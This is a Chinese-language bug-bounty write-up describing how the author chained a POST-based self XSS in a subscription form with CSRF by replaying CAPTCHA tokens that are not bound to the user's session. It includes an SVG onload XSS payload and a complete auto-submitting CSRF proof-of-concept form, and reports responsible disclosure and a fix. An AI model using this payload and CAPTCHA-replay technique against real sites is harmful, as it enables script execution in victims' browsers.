记一次Self XSS+CSRF组合利用

目录:

确认 XSS 漏洞

 确认 CSRF 漏洞

这个漏洞是我在应用程序的订阅表单中发现的一个 XSS 漏洞,只能通过 POST 请求进行利用。通常情况下,基于 POST 的 XSS 如果没有与 CSRF 结合来展示其影响力,那么这就是一个普通的反射型 XSS(Self XSS)。本来这不会成为一个大问题,但这个表单中实现了 Google reCAPTCHA v2。本文将探讨我是如何绕过 CAPTCHA,从而成功实现 CSRF 攻击的。

为了保持匿名性,我们假设目标网站是 https://www.target.com。当你访问 target.com 时,会看到一个注册和登录表单,但引起我注意的是一个订阅按钮,该按钮会将你引导至 **https://www.target.com/subscribe**。在这个页面上,会显示一个表单。

提交表单后,我们会收到一条感谢消息,其中显示了我们的名字(例如 John)。

确认 XSS 漏洞

我们可以使用以下 payload 在该字段中测试反射型 XSS 漏洞:​​​​​​​

"><svg/onload=confirm(document.domain)>

当我们提交表单时,payload 被成功执行。现在我们已经确认了漏洞的存在,但问题在于,这个漏洞基于 POST 请求,如果没有 CSRF 的配合,它就会变成一个自我 XSS(Self XSS)。

确认 CSRF 漏洞

如果 CAPTCHA 没有被稳健地实现,它并不能保护应用程序免受 CSRF 攻击,主要作用只是提供一定程度的速率限制。在解决 CAPTCHA 后,会生成三个动态参数:captcha_sidcaptcha_tokeng_recaptcha_response。这里的"动态"是指它们的值会在每次解决 CAPTCHA 时发生变化。要构造一个完美的 CSRF 表单,我们需要能够为这些参数传递有效的值。

那么,如果我在另一个浏览器中解决了 CAPTCHA,但不将其提交到服务器,而是将这些答案重放到 CSRF 表单中,会怎样呢? 我在一个私密标签页中打开了表单页面,填写了表单内容,然后解决了 CAPTCHA。我在 Burp Suite 中启用了拦截功能,并点击了提交。请求被拦截后,我复制了 CAPTCHA 参数的值,并将它们插入到我的 CSRF 漏洞利用演示(PoC)表单中。​​​​​​​

<html>`` <body>`` <h1>CSRF PoC</h1>`` <form action="https://www.target.com/subscribe" method="POST">`` <input type="hidden" name="name_first" value="'><svg/onload=confirm(document.domain)>" />`` <input type="hidden" name="name_last" value="Doe" />`` <input type="hidden" name="email_address" value="test@fake.com" />`` <input type="hidden" name="company_name" value="FakeCompany" />`` <input type="hidden" name="captcha_sid" value="INSERT-HERE" />`` <input type="hidden" name="captcha_token" value="INSERT-HERE" />`` <input type="hidden" name="captcha_response" value="Google no captcha" />`` <input type="hidden" name="g-recaptcha-response" value="INSERT-HERE" />`` <input type="hidden" name="captcha_cacheable" value="1" />`` <input type="hidden" name="op" value="Submit" />`` <input type="hidden" name="form_build_id" value="form-Vwtw-XX&" />`` <input type="hidden" name="form_id" value="XX_subscribe_sign_up_form" />`` <input type="submit" value="Submit request" />`` </form>`` <script>`` history.pushState('', '', '/');`` document.forms[0].submit();`` </script>`` </body>``</html>

剩下要做的就是将这个 CSRF 漏洞利用表单托管起来,让受害者访问。受害者访问你的恶意网站后,会被重定向到 **https://www.target.com/subscribe**,订阅表单会在没有任何交互的情况下自动提交,JavaScript 代码则会在他们的浏览器中执行。

总结来说,CAPTCHA 并未绑定到用户的会话,因此未提交的其他用户的 CAPTCHA 答案可以被重放,用于我们的攻击。

我将这一发现提交给了他们的安全团队,他们迅速确认并修复了这个问题。

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关

相关推荐
用户962377954481 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954482 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star2 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954482 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher3 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行6 天前
网络安全总结
安全·web安全
DianSan_ERP6 天前
电商API接口全链路监控:构建坚不可摧的线上运维防线
大数据·运维·网络·人工智能·git·servlet
red1giant_star6 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全